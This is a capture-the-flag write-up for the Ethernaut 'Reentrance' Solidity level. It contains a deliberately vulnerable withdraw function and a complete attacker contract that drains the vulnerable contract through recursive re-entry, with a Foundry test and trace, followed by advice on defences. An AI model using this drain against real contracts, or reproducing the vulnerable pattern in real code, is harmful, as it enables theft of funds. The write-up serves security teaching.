The objective of this challenge is to steal all the funds from the contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Reentrance {
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
unchecked {
balances[msg.sender] -= _amount;
}
}
}
receive() external payable {}
}
Originally this level had the pragma solidity ^0.6.0
and used the
SafeMath
from OpenZeppelin, which provides wrappers over Solidity’s
arithmetic operations. We use a is a slightly modified version
of it that:
- Doesn’t use
SafeMath
. - Has the
unchecked
block in thewithdraw
function, otherwise we’ll get the"Arithmetic over/underflow"
error when we try to exploit it.
Analysis Link to heading
This contract allows to donate funds and withdraw the donation at any time.
State
The balances
state variable is used to track
user’s donations:
mapping(address => uint256) public balances;
Functions
balanceOf
– Gets the amount donated by the given address.donate
– Allows to donate ETH.withdraw
– Lets you withdraw the previously donated ETH.receive
– Allows sending funds to the contract, bypassing thedonate
function. It may be needed to setup theReentrance
contract by sending some ETH to it in advance (so we have something to steal) or just in order to divert our attention 🙃
As the name of the level suggests, this contract should be prone
to the
Re-entrancy
attack (when you know the name of the vulnerability it is
relatively simple to find it 😏). The donate
function is
trivial, so let’s concentrate on the withdraw
:
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
unchecked {
balances[msg.sender] -= _amount;
}
}
}
This function updates the internal state after sending funds. It neither follows the Checks-Effects-Interactions pattern, not does it use the ReentrancyGuard from the OpenZeppelin (module that helps prevent reentrant calls to a function).
Solution Link to heading
A malicious contract could call the withdraw
again and again,
draining all the funds. Here’s how the interaction between the
Exploit
and the Reentrance
contracts might look like:
Let’s craft such a malicious contract:
contract ReentranceExploit {
Reentrance private immutable level;
address private immutable owner;
constructor(Reentrance _level) {
level = _level;
owner = msg.sender;
}
function withdraw() public {
uint256 balance = address(this).balance;
(bool success, ) = owner.call{value: balance}("");
require(success, "unable to withdraw");
}
function run() public payable {
level.donate{value: msg.value}(address(this));
level.withdraw(msg.value);
}
receive() external payable {
uint256 levelBalance = address(level).balance;
if (levelBalance > 0) {
if (msg.value < levelBalance) {
level.withdraw(msg.value);
} else {
level.withdraw(levelBalance);
}
}
}
}
It has 3 functions:
run
– Runs the exploit.receive
– Recursively calls thelevel.withdraw
.withdraw
– Allows theplayer
to withdraw all the stolen funds.
Let’s review the run
function:
- First, it donates some Ether so we can withdraw them back at the next step.
- Then we call the
level.withdraw
function asking for the amount we just deposited. This tiggers a chain of thewithdraw
-receive
calls.
function run() public payable {
level.donate{value: msg.value}(address(this));
level.withdraw(msg.value);
}
Our receive
function calculates the amount funds left in the
Reentrance
contract and re-enters it with the level.withdraw
call:
receive() external payable {
uint256 levelBalance = address(level).balance;
if (levelBalance > 0) {
if (msg.value < levelBalance) {
level.withdraw(msg.value);
} else {
level.withdraw(levelBalance);
}
}
}
We can withdraw at most what we’ve donated. If there is less Ether left, then we just withdraw the rest.
The withdraw
function sends the stolen funds back to the
attacker (player):
function withdraw() public {
uint256 balance = address(this).balance;
(bool success, ) = owner.call{value: balance}("");
require(success, "unable to withdraw");
}
Then, we set the initial donation to be 1/10 of the Reentrance
contract’s balance and start the exploit:
function exploit() internal override {
vm.startPrank(player);
ReentranceExploit expl = new ReentranceExploit(level);
uint256 donation = address(level).balance / 10;
expl.run{value: donation}();
expl.withdraw();
vm.stopPrank();
}
Here is how the forge’s trace looks like:
$ forge test --match-contract ReentranceTest -vvvv
[PASS] testReentrancy() (gas: 629051)
Traces:
[629051] ReentranceTest::testReentrancy()
├─ [233837] ReentranceTest::create{value: 1000000000000000000}()
│ ├─ [0] VM::prank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
│ │ └─ ← ()
│ ├─ [214811] Ethernaut::createLevelInstance{value: 1000000000000000000}(ReentranceFactory: [0xce71065d4017f316ec606fe4422e11eb2c47c246])
│ │ ├─ [156548] ReentranceFactory::createInstance{value: 1000000000000000000}(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
│ │ │ ├─ [116965] → new Reentrance@"0x037f…dd8f"
│ │ │ │ └─ ← 584 bytes of code
│ │ │ ├─ [55] Reentrance::fallback{value: 100000000000000}()
│ │ │ │ └─ ← ()
│ │ │ └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [0x2f66c75a001ba71ccb135934f48d844b46454543], instance: Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f])
│ │ └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
│ └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
├─ [0] VM::startPrank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
│ └─ ← ()
├─ [170322] → new <Unknown>@"0xa2f9…f3a7"
│ └─ ← 849 bytes of code
├─ [119933] 0xa2f9…f3a7::run{value: 10000000000000}()
│ ├─ [22510] Reentrance::donate{value: 10000000000000}(0xa2f9062527f5588fcfd767b218ce33210574f3a7)
│ │ └─ ← ()
│ ├─ [89866] Reentrance::withdraw(10000000000000)
│ │ ├─ [82241] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ ├─ [81662] Reentrance::withdraw(10000000000000)
│ │ │ │ ├─ [75150] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ ├─ [74687] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ ├─ [68587] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ ├─ [68124] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ ├─ [62024] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ ├─ [61560] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ ├─ [55460] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ ├─ [54997] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ ├─ [48897] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [48434] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [42334] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [41871] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [35771] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [35308] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [29208] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [28744] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [6724] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [6257] Reentrance::withdraw(10000000000000)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ├─ [196] 0xa2f9…f3a7::fallback{value: 10000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [7068] 0xa2f9…f3a7::3ccfd60b()
│ ├─ [0] player::fallback{value: 110000000000000}()
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
│ └─ ← ()
├─ [3665] Ethernaut::submitLevelInstance(Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f])
│ ├─ [618] ReentranceFactory::validateInstance(Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f], player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [0x2f66c75a001ba71ccb135934f48d844b46454543], level: ReentranceFactory: [0xce71065d4017f316ec606fe4422e11eb2c47c246])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Lessons learned Link to heading
Both of the major bugs that led to the DAO hack were related to re-entrancy issues. Here is the great in-depth explanation of the DAO hack, so be sure to give it a read if you’re interested to understand it deeper.
There are several ways to prevent these type of attacks:
- Always be aware that other contracts can interact with your contract. Sending ETH is a regular function call, which can call (re-enter) your contract.
- Use the Checks Effects Interactions pattern.
- Adopt the OpenZeppelin’s ReentrancyGuard. The solmate has the ReentrancyGuard too.
- Implement some kind of “mutex” yourself using the
lock
state variable.
References Link to heading
- Re-entrancy from Solidity docs (Security Considerations).
- Re-entrancy attack from the Decentralized Application Security Project.
- Checks Effects Interactions from the Solidity Patterns.
- SWC-107 from the Smart Contract Weakness Classification and Test Cases.
This was another little write-up on the Ethernaut CTF. Last but not least, the code and solution for this challenge is here. Thank you for reading!
Let’s explore the next level – #12 Elevator 🛗